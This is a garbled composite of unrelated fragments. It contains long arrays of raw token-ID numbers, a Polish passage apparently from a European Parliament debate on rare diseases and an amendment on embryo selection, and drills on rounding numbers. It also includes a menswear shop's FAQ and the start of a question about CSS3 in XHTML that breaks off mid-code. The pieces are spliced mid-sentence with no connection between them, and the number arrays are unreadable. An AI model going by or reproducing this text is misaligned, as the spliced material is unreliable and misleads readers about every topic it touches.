33425, 571, 35457, 20729, 891, 1442, 507, 319, 24132, 15, 6956, 13448, 965, 664, 11737, 256, 9230, 391, 1954, 13448, 570, 1121, 68, 5173, 13, 36223, 250, 4177, 43233, 1115, 478, 10441, 29829, 15, 187, 48, 1087, 1954, 14617, 3187, 316, 3847, 18198, 493, 10060, 16077, 757, 3155, 819, 48385, 33071, 10060, 3060, 75, 3319, 9230, 891, 1349, 20729, 296, 8754, 37441, 7679, 251, 49036, 3319, 466, 13, 34950, 80, 716, 13448, 27870, 3757, 9230, 9948, 513, 4470, 3155, 6078, 120, 47290, 615, 7679, 1442, 507, 319, 16642, 15, 45490, 79, 9230, 1182, 5497, 13448, 965, 680, 26968, 13, 36223, 376, 513, 1288, 2721, 30108, 69, 4019, 27870, 259, 259, 928, 86, 1349, 20729, 296, 88, 607, 37441, 7679, 251, 49036, 3319, 469, 13, 25613, 7832, 296, 680, 1345, 91, 2369, 14, 81, 610, 16526, 570, 15, 187, 47, 466, 13681, 11413, 7679, 357, 1105, 594, 17782, 13, 305, 6421, 67, 1105, 15361, 45718, 40529, 35457, 259, 963, 78, 278, 47688, 1026, 86, 258, 1182, 79, 317, 41338, 951, 78, 45718, 3178, 14353, 1442, 507, 319, 1105, 13, 36223, 250, 1182, 1403, 69, 9877, 10060, 14617, 14743, 465, 1301, 6451, 297, 691, 90, 16526, 1241, 42686, 13, 21814, 303, 39173, 308, 20255, 860, 6033, 359, 6743, 8020, 891, 308, 20255, 860, 25858, 359, 38996, 316, 7381, 75, 10060, 3847, 14617, 33841, 37441, 10060, 26968, 6512, 72, 2886, 15, 15543, 258, 8766, 15298, 2963, 40965, 10424, 35457, 7360, 680, 23287, 5524, 13448, 292, 5549, 3076, 16642, 295, 1952, 76, 39036, 15, 353, 18538, 74, 9230, 68, 5549, 10792, 1100, 466, 428, 5524, 13448, 292, 33078, 91, 22383, 14617, 1432, 1629, 409, 5134, 13, 391, 91, 10060, 563, 2145, 17069, 5549, 691, 90, 16526, 7896, 13, 259, 4474, 1954, 939, 6451, 86, 1182, 21814, 23611, 331, 28989, 7588, 13, 39173, 2456, 17069, 359, 6743, 8020, 891, 6879, 17069, 259, 427, 9623, 68, 18506, 15, 187, 12309, 466, 38790, 999, 351, 9335, 41338, 951, 2, 20361, 2204, 319, 10441, 9230, 68, 13, 5030, 9623, 21814, 27, 2301, 279, 90, 19454, 75, 3319, 469, 19162, 75, 290, 18538, 7181, 88, 10441, 9230, 13332, 2721, 33425, 571, 7679, 16642, 15, 411, 6836, 33425, 571, 7679, 16642, 25613, 15, 18668, 13332, 1182, 1079, 13448, 90, 13, 260, 3847, 15361, 270, 10060, 18367, 466, 281, 23530, 1362, 466, 465, 3165, 462, 268, 34549, 13448, 79, 3155, 28252, 33855, 2721, 20729, 15, 309, 480, 265, 35759, 2721, 23530, 2369, 27, 50242, 66, 20510, 6002, 360, 1914, 571, 9271, 3525, 7679, 18538, 891, 4281, 45725, 18538, 277, 4123, 13124, 90, 1684, 22771, 1684, 2040, 76, 10060, 1458, 15, 187, 41, 300, 1206, 438, 378, 5292, 254, 187, 88, 516, 1914, 14353, 50242, 90, 26745, 84, 16, 23502, 15, 428, 313, 2573, 10, 9251, 466, 38790, 999, 351, 9335, 41338, 951, 13, 3199, 466, 891, 3199, 319, 466, 2, 473, 68, 3847, 22084, 12040, 29408, 1684, 1321, 14743, 1827, 10060, 31204, 6711, 258, 601, 67, 297, 691, 5297, 9230, 13448, 7983, 391, 91, 324, 76, 23611, 30811, 706, 7588, 15, 45490, 40079, 1684, 2040, 4530, 1458, 25613, 1182, 1162, 90, 14617, 40775, 30304, 16853, 5261, 5282, 571, 4847, 307, 10633, 15361, 513, 819, 3847, 75, 10060, 14265, 15, 187, 47, 466, 259, 311, 2369, 9557, 35825, 6421, 38435, 10060, 336, 75, 259, 20932, 14617, 45955, 9948, 259, 13124, 466, 7915, 76, 316, 8020, 258, 963, 78, 13, 260, 3847, 5173, 28252, 90, 29408, 1182, 284, 7679, 814, 36295, 5549, 20244, 382, 79, 1914, 466, 13, 247, 260, 3847, 5173, 15361, 15, 427, 466, 259, 311, 2369, 37136, 88, 22771, 9948, 259, 13124, 466, 271, 74, 877, 414, 14617, 79, 3155, 13, 271, 74, 15695, 7679, 886, 27509, 3155, 295, 317, 1886, 18538, 5549, 12591, 91, 280, 18538, 13, 48689, 46520, 22084, 324, 297, 466, 30800, 30999, 319, 8952, 372, 951, 91, 75, 10060, 38790, 886, 27684, 7381, 803, 74, 324, 6451, 86, 15361, 365, 7679, 79, 2161, 2040, 40775, 277, 29879, 777, 66, 15, 1023, 282, 39745, 6362, 11949, 279, 18538, 14366, 7523, 7679, 19699, 259, 287, 893, 277, 4123, 15361, 1734, 14617, 79, 3155, 33425, 571, 35457, 20729, 15, 399, 77, 992, 80, 1948, 303, 90, 246, 10060, 1684, 2040, 76, 10060, 258, 5267, 91, 1028, 23287, 15, 427, 466, 259, 9207, 3178, 3847, 23530, 1362, 466, 441, 328, 9230, 9948, 1775, 80, 256, 7679, 319, 80, 346, 293, 303, 249, 317, 6362, 7521, 36223, 250, 1182, 373, 15701, 9230, 428, 820, 295, 1079, 13448, 90, 1182, 819, 44109, 287, 26968, 9230, 331, 88, 1321, 69, 9877, 9948, 428, 492, 9230, 5297, 269, 284, 3847, 91, 10441, 9230, 951, 78, 1484, 13448, 90, 5297, 358, 480, 10060, 3847, 4530, 15, 23161, 466, 268, 1118, 9230, 45524, 10060, 29408, 30108, 74, 7679, 33664, 963, 77, 7381, 13, 33604, 295, 30277, 7753, 9877, 7679, 19699, 9557, 396, 282, 39745, 6362, 11949, 279, 18538, 15, 2896, 7679, 33664, 391, 91, 886, 41338, 15361, 513, 1182, 79, 447, 1914, 571, 13, 305, 6421, 1615, 45718, 297, 79, 8960, 1684, 2040, 4530, 258, 5744, 1775, 31204, 656, 7679, 396, 282, 39745, 8020, 11949, 279, 18538, 278, 571, 47016, 27870, 21513, 9948, 465, 287, 5985, 358, 35978, 1024, 24130, 19454, 75, 3319, 47688, 1162, 90, 336, 15, 187, 13788, 303, 90, 331, 266, 319, 68, 8636, 38790, 886, 27684, 296, 1403, 23287, 27870, 7915, 76, 610, 1222, 317, 8020, 5549, 246, 282, 730, 1734, 14617, 79, 1105, 15, 12278, 2040, 76, 10060, 1458, 295, 1079, 13448, 90, 1182, 31587, 258, 5267, 91, 1028, 23287, 259, 7318, 39867, 26968, 15, 411, 38790, 886, 74, 939, 1105, 21721, 466, 13332, 4019, 50242, 66, 270, 10060, 18367, 466, 295, 10558, 1734, 1182, 14557, 12180, 305, 7679, 375, 11413, 9948, 20244, 258, 5267, 91, 1028, 257, 9623, 716, 2184, 653, 376, 680, 38218, 16642, 13, 13892, 80, 33604, 24056, 80, 2963, 91, 21432, 7679, 70, 3284, 90, 256, 9230, 1182, 615, 951, 69, 319, 24132, 2963, 3847, 555, 88, 570, 15, 187, 39164, 1639, 3348, 656, 187, 9, 19214, 10, 411, 653, 376, 680, 38218, 6451, 86, 3199, 66, 803, 35457, 6572, 29846, 437, 8901, 7687, 79, 447, 279, 80, 27870, 513, 256, 2721, 1747, 86, 295, 728, 1118, 9230, 45524, 10060, 9948, 259, 9207, 10060, 81, 10441, 9230, 951, 348, 259, 47148, 886, 29571, 607, 416, 5102, 13, 891, 1484, 8754, 13448, 312, 13, 33604, 256, 9230, 281, 1484, 88, 28720, 256, 7679, 316, 91, 570, 15, 2604, 3847, 8718, 1370, 8020, 33413, 312, 13, 33604, 25613, 358, 819, 27640, 251, 1279, 13, 33604, 259, 33425, 728, 38781, 466, 391, 91, 324, 76, 469, 30811, 1954, 67, 17022, 466, 14617, 570, 25613, 1629, 80, 636, 1362, 319, 1351, 30800, 75, 12040, 29408, 14756, 1213, 2421, 914, 2886, 3060, 75, 3319, 47688, 15, 427, 9623, 10633, 75, 271, 74, 259, 47148, 886, 257, 14353, 13, 271, 74, 259, 653, 376, 680, 38218, 6451, 86, 15361, 7360, 75, 10060, 936, 1565, 37577, 391, 91, 324, 76, 469, 30811, 1954, 67, 13, 36223, 250, 19422, 47016, 88, 47742, 513, 13332, 1182, 465, 43792, 18538, 33971, 88, 1944, 47742, 951, 348, 27870, 15, 187, 42, 21814, 13, 5549, 819, 44109, 7679, 324, 13, 7181, 88, 10441, 29829, 5030, 47290, 85, 26970, 129, 120, 663, 90, 428, 30811, 33664, 13, 36223, 376, 480, 265, 35759, 2721, 513, 295, 728, 17074, 66, 209, 976, 351, 9877, 35457, 20244, 7318, 7679, 49036, 280, 466, 13, 24007, 295, 9623, 267, 7318, 7679, 49036, 280, 466, 37136, 293, 303, 249, 319, 266, 9230, 5549, 716, 445, 466, 13124, 90, 13, 891, 36223, 376, 691, 886, 10633, 19422, 47016, 8754, 513, 13332, 259, 5744, 1182, 9425, 319, 9230, 5563, 8306, 75, 9230, 15, 187, 37675, 21814, 46666, 1182, 607, 351, 9877, 17022, 466, 14617, 2369, 42756, 7360, 75, 10060, 14265, 15361, 40965, 7679, 406, 27509, 3155, 33425, 571, 35457, 20729, 259, 830, 466, 18558, 14617, 909 ]

wywołuje bardzo nieprzyjemne skojarzenia. W naszej ocenie jest rzeczą ważną, aby leczenie odbywało się na zasadzie dobrowolności oraz w granicach prawa określonego przez rządy krajowe. Jeżeli te warunki będą spełnione, opowiadamy się za przyjęciem przedmiotowej poprawki, apelując zarazem o jej poparcie do pozostałych osób, ale fragment dotyczący chorób powinien zostać usunięty. Jeżeli te warunki będą spełnione, będziemy mogli w pełni zaakceptować treść sprawozdania, zarazem bardzo pozytywnie oceniając pracę pana posła Trakatellisa. Dziękuję państwu za uwagę. Frédérique Ries Panie przewodniczący! Chcę podziękować naszemu sprawozdawcy, panu posłowi Trakatellisowi, oraz prosić o wybaczenie mojego spóźnienia. Witałam grupę gości przybyłych do PE i dlatego dotarłam na debatę z niewielkim opóźnieniem. W trakcie posiedzenia PE poświęconego rzadkim chorobom, które miałam okazję organizować w ubiegłym roku z udziałem Eurordis - europejskiego stowarzyszenia pacjentów -, zwróciłam uwagę na fakt, że to od nas, od Europy zależy, jak wysoko postawimy sobie poprzeczkę w naszych działaniach na rzecz pacjentów, które całe swoje nadzieje wiążą z postępem badań, i właśnie to uczynił nasz poseł sprawozdawca, znacznie konkretniej formułując tekst przedstawiony przez Komisję, Niewielka liczba ofiar rzadkich chorób w każdym kraju i rozproszenie specjalistycznej wiedzy po całej Europie czynią z tych chorób par excellence przykład sytuacji, w której wspólne działanie na szczeblu europejskim jest bezwzględnie konieczne. Naszym zgodnym celem jest uzyskanie pełniejszej wiedzy o tych chorobach, udoskonalenie diagnostyki i metod leczenia, oraz otoczenie pacjentów i ich rodzin lepszą opieką. Pozostaje oczywiście pytanie o harmonogram działań i finansowanie. Możliwe tu są różne opcje, które starannie analizujemy. Oprócz funduszy udostępnianych przez Unię Europejską i państwa członkowskie, warto też sięgnąć do innych źródeł finansowania. Jedną z możliwości, która dobrze sprawdza się w wielu państwach członkowskich, jest partnerstwo publiczno-prywatne. Nie darowałabym sobie, gdybym nie wspomniała w tym miejscu o znaczącym wsparciu finansowym, które zawdzięczamy kampaniom obywatelskim, takim jak Téléthon we Francji i Télévie we francuskojęzycznej części Belgii. Ta ostatnia pozwoliła podwoić budżet na badania naukowe. Mówiąc na marginesie - budżet nadzwyczaj skromny, rzędu 13 euro na obywatela, w porównaniu z takimi stawkami, jak 50 euro we Francji i 75 euro w Niemczech. Panie przewodniczący! Podsumowując, powiem tak: miliony europejskich pacjentów obserwują nasze działania. Wola działania jest. Od nas zależy, czy nie będzie to jedynie katalog pobożnych życzeń. I jeszcze jedno: grupa Porozumienia Liberałów i Demokratów dla Europy popiera poprawkę 15. Hiltrud Breyer w imieniu grupy Verts/ALE. - (DE) Panie przewodniczący, panie i panowie! Oczywiście popieramy ideę pomocy osobom obciążonym rzadkimi chorobami. Jednak poprawka 15 jest z etycznego punktu widzenia absolutnie nie do przyjęcia. Nie wolno nam nigdy więcej wszczynać w Europie dyskusji o tym, czyje życie zasługuje na zaistnienie, a czyje nie. Nie wolno wywierać w Europie ani politycznych, ani społecznych nacisków na rodziców, aby świadomie podejmowali decyzję przeciwko posiadaniu niepełnosprawnego dziecka. Selekcja embrionów otwarłaby wrota dla nieetycznych działań. Dlatego musimy tę poprawkę odrzucić. Nie wystarczy jedynie usunąć samo słowo "eliminacja”, które zresztą - co należy z przykrością stwierdzić - trąci faszyzującym użyciem języka. Takie pociągnięcie sprawiłoby tylko, że nadal groziłaby nam selekcja embrionów. Byłoby rzeczą nie do zniesienia, gdyby wspomniana poprawka oraz sam pomysł selekcji embrionów miały się stać krokiem ku nowej europejskiej etyce. Musimy stanowczo przeciwstawić się dyskryminacji na tle genetycznym. Poprawkę 15 należy zatem odrzucić w całości. W przeciwnym razie nasza grupa będzie niestety zmuszona głosować za odrzuceniem tego sprawozdania, mimo że jego pozostałe elementy są zdecydowanie pozytywne. Philip Claeys (NL) W sprawozdaniu pana posła Trakatellisa odniesiono się do szeregu niedociągnięć występujących w zaleceniach Rady, i uważam, że są to uwagi słuszne. Przy okazji dodam, że jestem przekonany, że w dziedzinie rzadkich chorób konieczne jest skoordynowane podejście ze strony Unii Europejskiej. Niemniej ani w zaleceniu, ani w sprawozdaniu nie podjęto tematu rzadkich chorób, które napływają do nas z krajów rozwijających się. I tak, na przykład, obserwujemy powrót gruźlicy - choroby, która jeszcze do niedawna uchodziła za całkowicie, lub niemal całkowicie wyeliminowaną na terenie Europy, i która obecnie napływa do nas wraz z masową migracją. Tu także zachodzi konieczność podjęcia niezwłocznych działań w formie szczeg

[ 361, 2787, 9971, 281, 767, 20093, 32, 187, 14, 17, 15, 520, 187, 15654, 428, 17, 15, 15054, 1525, 281, 495, 20093, 15, 187, 14, 17, 15, 16198, 187, 1276, 310, 470, 15, 2950, 14555, 9971, 281, 495, 20093, 32, 187, 17, 15, 33597, 187, 15654, 33311, 281, 253, 5275, 3578, 15, 187, 18911, 187, 1276, 310, 22038, 15, 21, 9971, 281, 253, 5275, 2233, 32, 187, 1518, 187, 15654, 470, 15, 5831, 1237, 281, 2620, 14492, 5053, 15, 187, 17, 15, 5831, 20, 187, 15654, 428, 17, 15, 20151, 25, 281, 767, 20093, 15, 187, 14, 17, 15, 2125, 187, 1276, 310, 428, 17, 15, 9439, 34474, 9971, 281, 721, 14492, 5053, 32, 187, 14, 17, 15, 9439, 22, 187, 15654, 428, 805, 42763, 1418, 281, 253, 5275, 581, 3041, 15, 187, 14, 13381, 8551, 187, 15654, 337, 15, 20, 281, 5058, 20093, 15, 187, 18, 187, 1276, 310, 470, 15, 933, 2358, 13925, 9971, 281, 721, 14492, 5053, 32, 187, 17, 15, 933, 2358, 187, 15654, 428, 1348, 15, 1797, 281, 253, 5275, 7007, 15, 187, 14, 1348, 187, 1276, 310, 495, 15, 45475, 9971, 281, 581, 14492, 1659, 32, 187, 20, 15, 22, 187, 1276, 310, 337, 15, 21, 25289, 9971, 281, 374, 14492, 5053, 32, 187, 18, 15, 3079, 187, 1276, 310, 608, 15, 2941, 1093, 9971, 281, 337, 33234, 32, 187, 22, 187, 15654, 8978, 35323, 281, 253, 5275, 581, 4289, 15, 187, 3046, 10695, 187, 15654, 428, 17, 15, 1418, 21866, 2537, 281, 721, 20093, 15, 187, 14, 17, 15, 1418, 1797, 187, 1276, 310, 470, 15, 18, 6080, 273, 253, 7208, 2546, 3533, 42969, 2708, 187, 187, 11728, 636, 757, 4060, 187, 187, 40337, 10320, 280, 263, 1216, 15, 681, 310, 271, 3909, 12701, 4657, 326, 6131, 11650, 5899, 34939, 21417, 15, 1422, 476, 4354, 34740, 949, 1027, 18406, 285, 1659, 271, 1340, 604, 368, 751, 667, 15, 844, 760, 897, 15087, 3290, 8067, 285, 519, 1575, 942, 323, 512, 3510, 273, 622, 28091, 2130, 387, 776, 4657, 15, 187, 187, 1231, 452, 247, 8485, 4849, 273, 17039, 10648, 88, 6451, 13, 24941, 893, 1349, 75, 2902, 285, 277, 12022, 74, 24941, 893, 323, 1821, 285, 8290, 273, 512, 11880, 15, 23243, 342, 436, 13, 359, 671, 452, 5899, 12682, 313, 17616, 1316, 66, 582, 4389, 66, 13, 24949, 363, 285, 643, 28234, 326, 403, 7470, 323, 11650, 7753, 3056, 15, 187, 187, 4374, 13, 604, 368, 971, 281, 923, 752, 9830, 403, 2130, 323, 1798, 3580, 13, 368, 476, 3609, 2802, 29203, 407, 3295, 457, 4500, 15, 496, 436, 1039, 368, 476, 3609, 667, 273, 253, 9830, 326, 403, 2130, 323, 326, 1798, 1885, 15, 187, 187, 3404, 22968, 10320, 280, 263, 1216, 15, 681, 13, 2629, 1979, 2097, 253, 3963, 1979, 2130, 323, 1821, 285, 8290, 15, 13773, 2629, 9552, 403, 2130, 323, 1027, 11880, 273, 1821, 285, 8290, 15, 1916, 1859, 253, 1979, 8326, 285, 2629, 1979, 323, 247, 1798, 1885, 13, 816, 5532, 327, 253, 1885, 285, 512, 253, 9552, 2130, 588, 320, 2011, 327, 253, 42498, 15, 16551, 253, 1979, 326, 13840, 368, 285, 368, 403, 327, 634, 1039, 281, 1659, 253, 1340, 15, 187, 187, 8267, 2060, 556, 697, 1211, 6341, 3103, 28, 2840, 1979, 310, 253, 1979, 534, 310, 326, 1798, 6814, 326, 13840, 634, 2133, 9670, 15, 1310, 368, 513, 417, 1089, 634, 1979, 275, 253, 2629, 8326, 840, 368, 476, 1900, 2028, 441, 634, 1979, 285, 368, 588, 755, 247, 40637, 14, 12710, 1885, 323, 253, 8120, 15, 187, 187, 36, 663, 4351, 327, 247, 1798, 1885, 326, 368, 751, 588, 1527, 598, 1529, 4384, 3239, 4508, 512, 253, 5667, 4278, 670, 253, 1885, 15, 3856, 368, 588, 452, 253, 4500, 323, 29315, 634, 1211, 1979, 15, 329, 4564, 273, 9912, 12783, 588, 3176, 835, 368, 588, 320, 2424, 281, 7522, 275, 634, 3451, 6341, 15, 1422, 476, 671, 755, 690, 1361, 327, 849, 281, 1379, 3451, 6341, 15, 7243, 368, 403, 2218, 5532, 327, 253, 5321, 6409, 285, 823, 253, 1885, 281, 12701, 7281, 15, 50, 27, 187, 187, 9016, 20, 2506, 626, 789, 32, 187, 187, 42, 452, 436, 5313, 273, 14271, 27, 187, 14277, 7229, 2715, 568, 18, 15, 17, 3, 9706, 568, 18441, 14, 25, 28739, 187, 30952, 32735, 14271, 35283, 19479, 605, 56, 20, 36, 605, 41375, 1594, 15597, 337, 15, 18, 605, 1400, 3, 187, 50274, 3, 2413, 1358, 2700, 15, 88, 20, 15, 2061, 16, 3125, 16, 35217, 883, 16, 41375, 16, 35217, 883, 15, 48328, 1138, 187, 29, 2974, 15664, 568, 2413, 1358, 2700, 15, 88, 20, 15, 2061, 16, 9595, 16, 35217, 3, 10366, 27, 8700, 568, 257, 3, 2239, 187, 50276, 29, 2522, 31, 187, 50274, 29, 5564, 31, 10292, 1983, 1594, 15597, 337, 15, 18, 15027, 870, 5564, 31, 187, 50274, 29, 4826, 1511, 568, 1156, 16, 9016, 1138, 187, 50270, 81, 15, 2566, 551, 187, 50266, 14224, 27, 337, 3498, 4891, 1852, 8551, 28, 187, 50266, 11300, 14, 5641, 27, 1024, 1761, 28, 187, 50266, 3429, 27, 2233, 10543, 187, 50266, 27745, 27, 8763, 28, 187, 50266, 1156, 14, 27745, 27, 11591, 2824, 261, 28, 187, 50270, 94, 187, 50274, 870, 4826, 31, 187, 50276, 870, 2522, 31, 187, 50276, 29, 2915, 31, 187, 50274, 29, 81, 966, 568, 2566, 1138, 1552, 310, 247, 8723, 654, 66, 3860, 568, 2413, 1358, 2700, 15, 88, 20, 15, 2061, 16, 3125, 16, 35217, 883, 1138, 57, 15597, 337, 15, 18, 870, 66, 31, 3389, 8239, 81, 31, 187, 50276, 870, 2915, 31, 187, 870, 2974, 31, 187, 187, 1989, 604, 309, 1611, 281, 17813, 352, 1060, 27, 187, 2413, 1358, 75, 17638, 1403, 15, 88, 20, 15, 2061, 16, 9016, 14, 7210, 1080, 21225, 30716, 64, 1615, 64, 5423, 12, 3113, 64, 10121, 187, 42, 755, 253, 1563, 2228, 27, 187, 81, 15, 2566, 50276, 21962, 11759, 544, 11004, 2876, 62, 2490, 187, 34, 27, 187, 187, 31780, 556, 2717, 281, 513, 342, 1880, 667, 1798, 2867, 2987, 275, 667, 9882, 15, 733, 760, 6492, 1880, 253, 16144, 285, 2600, 3637, 253, 2629, 15, 1284, 436, 2228, 3054, 13, 352, 1057, 417, 2226, 275, 16710, 374, 15, 18, 533, 352, 1057, 2226, 275, 16710, 20, 15, 1422, 476, 3609, 16710, 20, 432, 253, 346, 7673, 27921, 3, 5926, 1066, 3817, 535, 34, 6380, 2495, 4868, 285, 1180, 273, 619, 6361, 4651, 10939, 3283, 619, 30147, 15, 187, 1992, 7409, 1880, 247, 6380, 2495, 4868, 313, 6217, 52, 10, 5520, 3045, 273, 21565, 32450, 2228, 2429, 281, 8958, 247, 1429, 434, 1180, 273, 619, 6361, 4651, 313, 47, 4548, 10, 3815, 15, 831, 369, 247, 19403, 1783, 273, 941, 432, 253, 8784, 251, 8057, 13315, 12602, 273, 37850, 285, 12757, 313, 1556, 4350, 1934, 10, 4201, 11077, 1263, 15, 7567, 36484, 2228, 369, 7515, 1048, 7128, 3341, 875, 2363, 818, 14, 1010, 970, 1327, 14, 12642, 879, 72, 280, 47694, 46991, 15, 37003, 11640, 313, 79, 426, 21300, 10, 2330, 342, 32450, 2228, 432, 247, 42849, 323, 7567, 36484, 11759, 1244, 2752, 30147, 313, 15718, 2300, 10, 9128, 14, 4363, 5864, 1263, 497, 908, 281, 10173, 247, 443, 6453, 323, 1016, 1429, 15, 6915, 32450, 2228, 387, 11880, 818, 285, 1458, 1107, 347, 253, 6454, 4778, 13, 10235, 273, 7441, 313, 51, 19, 2387, 2193, 497, 5118, 3066, 4872, 9077, 3210, 323, 253, 23477, 27, 427, 4548, 13, 443, 6453, 285, 247, 5678, 1566, 15, 11057, 273, 619, 6361, 4651, 369, 22112, 15970, 273, 32450, 2228, 275, 2151, 10652, 818, 1107, 13, 416, 19, 426, 495, 15, 17, 6, 313, 2222, 6, 7309, 337, 15, 25, 14, 21, 15, 18, 5294, 268, 654, 470, 15, 5831, 10, 285, 10652, 1458, 1107, 13, 416, 19, 426, 577, 15, 25, 6, 313, 20, 15, 18, 14, 23, 15, 22, 5294, 268, 654, 470, 15, 5831, 481, 380, 443, 6453, 369, 671, 22112, 15970, 28, 2363, 818, 1107, 13, 416, 19, 426, 337, 15, 18, 6, 313, 17, 15, 21, 14, 18, 15, 26, 5294, 268, 654, 470, 15, 5831, 10, 285, 1458, 1107, 416, 19, 426, 374, 15, 23, 6, 313, 18, 15, 20, 14, 20, 15, 26, 5294, 268, 654, 470, 15, 5831, 481, 39369, 253, 374, 4903, 3534, 4067, 416, 19, 2193, 387, 2363, 818, 13, 416, 19, 426, 495, 15, 24, 6, 313, 19, 15, 22, 14, 22, 15, 17, 5294, 268, 654, 470, 15, 5831, 10, 285, 1458, 13, 416, 19, 426, 818, 15, 17, 6, 313, 22, 15, 17, 14, 26, 15, 17, 5294, 268, 654, 470, 15, 5831, 481, 380, 5678, 1566, 5520, 3045, 387, 1097, 11880, 313, 15617, 268, 654, 470, 15, 5831, 481, 329, 443, 6453, 5520, 253, 3745, 281, 2736, 2151, 387, 2495, 273, 619, 30147, 10939, 273, 8958, 253, 427, 4548, 15, 844, 30821, 436, 778, 320, 984, 427, 4548, 28174, 1491, 8664, 6938, 2495, 2616, 323, 619, 30147, 15, 12257, 13, 2007, 15988, 403, 2424, 281, 1056, 824, 15970, 5216, 32811, 275, 253, 3382, 3126, 15, 50, 27, 187, 187, 12070, 27, 1310, 3635, 755, 4284, 1318, 432, 2829, 378, 1754, 327, 47811, 432, 2829, 329, 187, 187, 56, 9631, 272, 604, 3780, 476, 1918, 479, 28145, 327, 849, 281, 1682, 8415, 436, 7316, 1895, 15, 209, 187, 42, 452, 767, 7180, 326, 476, 320, 7416, 407, 5649, 2127, 285, 2567, 2127, 15, 7214, 2829, 329, 556, 8183, 1180, 15, 50276, 187, 3235, 329, 428, 14026, 8183, 941, 285, 616, 5649, 8322, 285, 11646, 15, 1310, 3635, 840, 1007, 281, 5270, 378, 323, 4284, 2408, 273, 253, 5649, 2127, 15, 187, 3235, 378, 428, 14026, 2567, 4284, 8322, 273, 253, 5649, 11646, 15, 209, 187, 30003, 310, 752, 309, 1353, 2820, 281, 755, 387, 15, 7214, 253, 16318, 403, 37254, 15, 3105, 2119, 253, 1682, 2746, 588, 320, 281, 755, 253, 1543, 309, 878, 15, 309, 1849, 3597, 2709, 4088, 15, 309, 3562, 247, 8083, 875, 253, 767, 4680, 309, 476, 2085, 690, 9317, 327, 253, 8346, 7316, 533, 309, 1353, 16116, 247, 3971, 2972, 969, 15, 187, 187, 10004, 209, 187, 11, 187, 4064, 313, 187, 12995, 187, 50274, 3172, 35, 64, 3172, 49, 64, 7716, 187, 50276, 13, 444, 9180, 64, 27550, 64, 16699, 187, 50276, 13, 444, 9180, 64, 35, 1400, 64, 16699, 187, 50276, 13, 50275, 35111, 9, 187, 50274, 42495, 187, 50272, 8835, 1400, 444, 9180, 64, 35, 1400, 64, 16699, 2949, 12196, 4196, 361, 1383, 686, 4196, 520, 1383, 686, 26, 31459, 1383, 686, 26, 29251, 1383, 686, 26, 26890, 3401, 187, 50272, 5543, 444, 9180, 64, 35, 1400, 64, 10560, 50276, 30, 686, 49, 8, 4889, 444, 9180, 64, 35, 1400, 64, 2300, 19984, 4110, 5803, 5812, 187, 50272, 3886, 1400, 313, 3172, 35, 64, 35, 1400, 64, 2300, 19984, 1227, 2233, 10, 187, 50274, 3887, 2354, 470, 187, 50276, 8112, 10, 7412, 346, 3357, 51, 8904, 3322, 42917, 64, 10810, 36, 3, 2490, 50276, 22050, 187, 50274, 1473, 15, 4789, 21568, 7564, 246, 20, 187, 50276, 31102, 187, 50274, 3172, 35, 64, 35, 1400, 64, 16699, 50275, 1042, 12196, 4196, 361, 1383, 686, 4196, 520, 1383, 686, 26, 31459, 1383, 686, 26, 29251, 1383, 686, 26, 26890, 3401, 187, 50276, 5543, 444, 9180, 64, 8112, 64, 33762, 4110, 5812, 187, 50276, 5543, 444, 9180, 64, 27550, 64, 16699, 426, 686, 15804, 8, 187, 50276, 5543, 444, 9180, 64, 3172, 49, 64, 7716, 426, 686, 25, 29868, 8, 187, 50276, 30220, 9149, 187, 50274, 3172, 35, 64, 3172, 49, 64, 7716, 187, 50276, 13, 444, 9180, 64, 27550, 64, 16699, 187, 50276, 13, 444, 9180, 64, 35, 1400, 64, 16699, 187, 20172, 187, 187, 12995, 187, 50274, 8, 25409, 8, 7412, 346, 25409, 64, 35, 1400, 16699, 3, 187, 50275, 13, 6392, 35, 64, 27550, 64, 16699, 50254, 979, 50263, 7412, 346, 42263, 6328, 1556, 51, 5736, 36, 64, 9507, 5077, 48, 2573, 3, 187, 50275, 13, 6392, 35, 64, 35, 1400, 64, 16699, 50254, 979, 50263, 209, 7412, 346, 42263, 6328, 1556, 51, 5736, 36, 64, 35, 1400, 16699, 3, 50274, 187, 50275, 13, 50275, 187, 50274, 42495, 187, 50272, 8835, 1400, 6392, 35, 64, 35, 1400, 64, 16699, 2949, 12196, 4196, 361, 1383, 686, 4196, 520, 1383, 686, 26, 31459, 1383, 686, 26, 29251, 1383, 686, 26, 26890, 3401, 187, 50272, 5543, 6392, 35, 64, 35, 1400, 64, 10560, 50276, 30, 686, 49, 8, 187, 50272 ]

0079 rounded to two dps? -0.01 Round -0.15599 to 3 dps. -0.156 What is 0.46147 rounded to 3 dps? 0.461 Round 319 to the nearest ten. 320 What is 202.4 rounded to the nearest 100? 200 Round 0.000132 to five decimal places. 0.00013 Round -0.0358 to two dps. -0.04 What is -0.00000481 rounded to 6 decimal places? -0.000005 Round -125720000 to the nearest one million. -126000000 Round 1.3 to zero dps. 1 What is 0.00068011 rounded to 6 decimal places? 0.00068 Round -24.21 to the nearest integer. -24 What is 3.477 rounded to one decimal place? 3.5 What is 1.4348 rounded to 2 decimal places? 1.43 What is 5.0318 rounded to 1 dp? 5 Round 59796 to the nearest one hundred. 59800 Round -0.000021449 to 6 dps. -0.000021 What is 0.1Some of the frequently asked questions enlisted below Accordian title Sherwanicorner.com is an online shopping store that offers Asian traditional menswear. You can easily browse through different collections and place an order if you like any. We only use premium quality fabric and adornments for all types of apparel available at our store. We have a vast collection of designer Sherwani, Kurta pajama and dhoti Kurta for men and boys of all ages. Along with this, we also have traditional shoes (khussa), safa, pagri and other accessories that are suitable for Asian grooms. Yes, if you want to see what colors are available for particular products, you can select ‘shop by color’ option. In this way you can select any of the colors that are available for that particular product. At sherwanicorner.com, standard size means the regular size available for men and boys. Different standard sizes are available for different ages of men and boys. To view the size chart and standard size for a particular product, just click on the product and all the sizes available will be shown on the webpage. Select the size that fits you and you are on your way to place the order. Every individual has its own measurements therefore; custom size is the size which is that particular measurement that fits your body perfectly. If you do not find your size in the standard chart then you can always tell us your size and you will get a tailor-made product for the occasion. Clicking on a particular product that you like will open up another web page containing all the essential details about the product. Here you will have the option for submitting your own size. A couple of blank boxes will appear where you will be required to fill in your correct measurements. You can also get some help on how to take correct measurements. Once you are done click on the save button and add the product to shopping cart.Q: css3 doesn't work? I have this piece of html: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" > <head> <title>Minimal XHTML 1.1 Document</title> <style type="text/css"> p.test { border: 1px solid #000000; white-space: nowrap; width: 100%; 